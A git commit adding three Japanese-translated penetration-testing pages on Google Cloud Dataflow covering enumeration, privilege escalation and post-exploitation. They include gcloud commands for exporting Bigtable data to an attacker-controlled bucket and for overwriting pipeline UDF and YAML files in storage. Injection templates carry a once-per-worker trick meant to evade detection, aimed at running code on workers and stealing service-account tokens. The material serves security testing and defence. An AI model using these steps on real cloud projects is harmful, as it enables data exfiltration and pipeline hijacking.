Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-02-16 11:12:37 +00:00
parent ae4c584b85
commit a3daab194a
3 changed files with 305 additions and 0 deletions

View File

@@ -0,0 +1,53 @@
# GCP - Dataflow Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
For more information about Dataflow check:
{{#ref}}
../gcp-services/gcp-dataflow-enum.md
{{#endref}}
### Using Dataflow to exfiltrate data from other services
**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (ソースとシンクにアクセスできるSAに対して)
Dataflowのジョブ作成権限があれば、GCP Dataflowテンプレートを使用してBigtable、BigQuery、Pub/Subなどのサービスからデータを攻撃者管理のGCSバケットへエクスポートできます。これは、Dataflowアクセスを取得している場合に強力なpost-exploitation手法です — 例えば[Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md)によるprivilege escalationpipeline takeover via bucket writeなど。
> [!NOTE]
> ソースを読み取り、シンクに書き込むための十分な権限を持つservice accountに対する`iam.serviceAccounts.actAs`が必要です。指定しない場合、デフォルトではCompute Engine default SAが使用されます。
#### Bigtable to GCS
全文のパターンは [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" を参照してください。テンプレート: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
<details>
<summary>Bigtableを攻撃者が管理するバケットへエクスポート</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
--staging-location=gs://<YOUR_BUCKET>/staging/
```
</details>
#### BigQuery to GCS
BigQuery のデータをエクスポートするための Dataflow templates が用意されています。対象フォーマットJSON, Avro など)に合ったテンプレートを使い、出力先を自分のバケットに指定します。
#### Pub/Sub and streaming sources
ストリーミングパイプラインは Pub/Subまたはその他のソースから読み取り、GCS に書き込むことができます。対象の Pub/Sub サブスクリプションから読み取り、自分が管理するバケットに書き込むテンプレートでジョブを起動します。
## References
- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,171 @@
# GCP - Dataflow Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
{{#ref}}
../gcp-services/gcp-dataflow-enum.md
{{#endref}}
### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
Dataflow は GCS に保存された UDF およびジョブテンプレートの YAML の整合性を検証しません。バケットへの書き込み権限があれば、これらのファイルを書き換えてコードを注入し、workers 上でコードを実行し、service account tokens を窃取したり、データ処理を改ざんしたりできます。batch および streaming pipeline ジョブの両方がこの攻撃の対象になります。パイプラインに対してこの攻撃を実行するには、ジョブ実行前、最初の数分間job workers が作成される前)またはジョブ実行中に新しい workers がスケールアウトする前autoscaling による)に UDFstemplates を差し替える必要があります。
**Attack vectors:**
- **UDF hijacking:** パイプラインで参照され、customer-managed バケットに保存された Python (`.py`) および JS (`.js`) の UDFs
- **Job template hijacking:** customer-managed バケットに保存されたカスタム YAML パイプライン定義
> [!WARNING]
> **Run-once-per-worker trick:** Dataflow の UDFs と template callables は **per row/line** ごとに呼び出されます。調整なしでは exfiltration や token theft が何千回も走り、イズ、rate limiting、および検出を引き起こします。**file-based coordination** パターンを使用してください: 先頭でマーカーファイル(例: `/tmp/pwnd.txt`)が存在するか確認し、存在する場合は悪意のあるコードをスキップ、存在しない場合はペイロードを実行してファイルを作成します。これによりペイロードは **once per worker**、行ごとではなく一回だけ実行されます。
#### Direct exploitation via gcloud CLI
1. Enumerate Dataflow jobs and locate the template/UDF GCS paths:
<details>
<summary>List jobs and describe to get template path, staging location, and UDF references</summary>
```bash
# List jobs (optionally filter by region)
gcloud dataflow jobs list --region=<region>
gcloud dataflow jobs list --project=<PROJECT_ID>
# Describe a job to get template GCS path, staging location, and any UDF/template references
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
```
</details>
2. GCS から元の UDF またはジョブテンプレートをダウンロードする:
<details>
<summary>bucket から UDF ファイルまたは YAML テンプレートをダウンロードする</summary>
```bash
# If job references a UDF at gs://bucket/path/to/udf.py
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
# Or for a YAML job template
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
```
</details>
3. ローカルでファイルを編集する: malicious payloadを注入し下のPython UDFまたはYAMLスニペットを参照、run-once coordination patternが使用されていることを確認してください。
4. 再アップロードして元のファイルを上書きする:
<details>
<summary>bucket内のUDFまたはtemplateを上書きする</summary>
```bash
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
# Or for YAML
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
```
</details>
5. 次のジョブ実行を待つか、streaming の場合はautoscaling をトリガーするpipeline の入力を大量に流す)ことで、新しい workers が起動して修正済みファイルを pull します。
#### Python UDF injection
worker にデータを C2 サーバへ exfiltrate させたい場合は、`urllib.request` を使用し、`requests` は使用しないでください。
`requests` は classic Dataflow workers に preinstalled されていません。
<details>
<summary>単回実行の調整とメタデータ抽出を備えた悪意のある UDF</summary>
```python
import os
import json
import urllib.request
from datetime import datetime
def _malicious_func():
# File-based coordination: run once per worker.
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return
# malicous code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")
def transform(line):
# Malicous code entry point - runs per line but coordination ensures once per worker
try:
_malicious_func()
except Exception:
pass
# ... original UDF logic follows ...
```
</details>
#### Job template YAML injection
`MapToFields` ステップを注入し、調整用のファイルを使う callable を含めます。`requests` をサポートする YAML ベースのパイプラインでは、テンプレートが `dependencies: [requests]` を宣言している場合はそれを使用し、そうでなければ `urllib.request` を優先してください。
パイプラインが宛先に有効なデータを書き続けるように、クリーンアップステップ(`drop: [malicious_step]`)を追加します。
<details>
<summary>パイプライン YAML における悪意ある `MapToFields` ステップとクリーンアップ</summary>
```yaml
- name: MaliciousTransform
type: MapToFields
input: Transform
config:
language: python
fields:
malicious_step:
callable: |
def extract_and_return(row):
import os
import json
from datetime import datetime
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return True
try:
import urllib.request
# malicious code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")
except Exception:
pass
return True
append: true
- name: CleanupTransform
type: MapToFields
input: MaliciousTransform
config:
fields: {}
append: true
drop:
- malicious_step
```
</details>
### Compute Engine から Dataflow Workers へのアクセス
**権限:** `compute.instances.osLogin` または `compute.instances.osAdminLogin`worker SA に対する `iam.serviceAccounts.actAs` を伴う)、または `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata``iam.serviceAccounts.actAs` を伴う) — レガシーな SSH キー注入用
Dataflow workers は Compute Engine の VM として動作します。OS Login または SSH 経由で worker にアクセスすると、メタデータエンドポイント (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`) から SA トークンを読み取ったり、データを操作したり、任意のコードを実行したりできます。
エクスプロイトの詳細については、次を参照:
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
## 参考資料
- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,81 @@
# GCP - Dataflow 列挙
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
**Google Cloud Dataflow** は、**バッチおよびストリーミングデータ処理**のフルマネージドサービスです。組織がスケールでデータを変換・分析するパイプラインを構築でき、Cloud Storage、BigQuery、Pub/Sub、Bigtable と統合されます。Dataflow パイプラインはプロジェクト内のワーカー VM 上で実行され、テンプレートや User-Defined Functions (UDFs) はしばしば GCS バケットに格納されます。[Learn more](https://cloud.google.com/dataflow)。
## コンポーネント
Dataflow パイプラインは通常以下を含みます:
**Template:** パイプライン構造とステップを定義する YAML または JSON の定義(および flex templates 用の Python/Java コード)が GCS に格納されます。
**Launcher (Flex Templates):** Flex Template の起動時にテンプレートを検証し、ジョブ実行前にコンテナを準備するために短期間の Compute Engine インスタンスが使用されることがあります。
**Workers:** 実際のデータ処理タスクを実行する Compute Engine VM で、テンプレートから UDF や指示を取得します。
**Staging/Temp buckets:** 一時的なパイプラインデータ、ジョブアーティファクト、UDF ファイル、flex template メタデータ(`.json`)を保存する GCS バケットです。
## バッチ vs ストリーミング ジョブ
Dataflow は2つの実行モードをサポートします:
**バッチジョブ:** 固定された境界のあるデータセット(例: ログファイル、テーブルのエクスポート)を処理します。ジョブは一度実行されて完了すると終了します。ジョブ期間中にワーカーが作成され、終了時にシャットダウンされます。バッチジョブは通常 ETL、過去データの分析、またはスケジュールされたデータ移行に使用されます。
**ストリーミングジョブ:** 終わりのない継続的に到着するデータ(例: Pub/Sub メッセージ、ライブセンサーフィードを処理します。ジョブは明示的に停止されるまで実行され続けます。ワーカーは自動スケーリングにより増減し、新しいワーカーは起動時にパイプラインコンポーネントテンプレート、UDFを GCS から取得します。
## 列挙
Dataflow ジョブおよび関連リソースを列挙して、サービスアカウント、テンプレートパス、ステージングバケット、UDF の場所を収集できます。
### ジョブ列挙
Dataflow ジョブを列挙して詳細を取得するには:
```bash
# List Dataflow jobs in the project
gcloud dataflow jobs list
# List Dataflow jobs (by region)
gcloud dataflow jobs list --region=<region>
# Describe job (includes service account, template GCS path, staging location, parameters)
gcloud dataflow jobs describe <job-id> --region=<region>
```
ジョブの説明には template GCS path、staging location、worker service account が表示され、パイプラインコンポーネントを格納する buckets を特定するのに役立ちます。
### テンプレートとバケットの列挙
ジョブの説明で参照される buckets には、flex templates、UDFs、または YAML pipeline definitions が含まれている可能性があります:
```bash
# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
gcloud storage ls gs://<bucket>/
# List objects recursively
gcloud storage ls gs://<bucket>/**
```
## Privilege Escalation
{{#ref}}
../gcp-privilege-escalation/gcp-dataflow-privesc.md
{{#endref}}
## Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../gcp-persistence/gcp-dataflow-persistence.md
{{#endref}}
## 参考資料
- [Dataflow overview](https://cloud.google.com/dataflow)
- [Pipeline workflow execution in Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
- [Troubleshoot templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
{{#include ../../../banners/hacktricks-training.md}}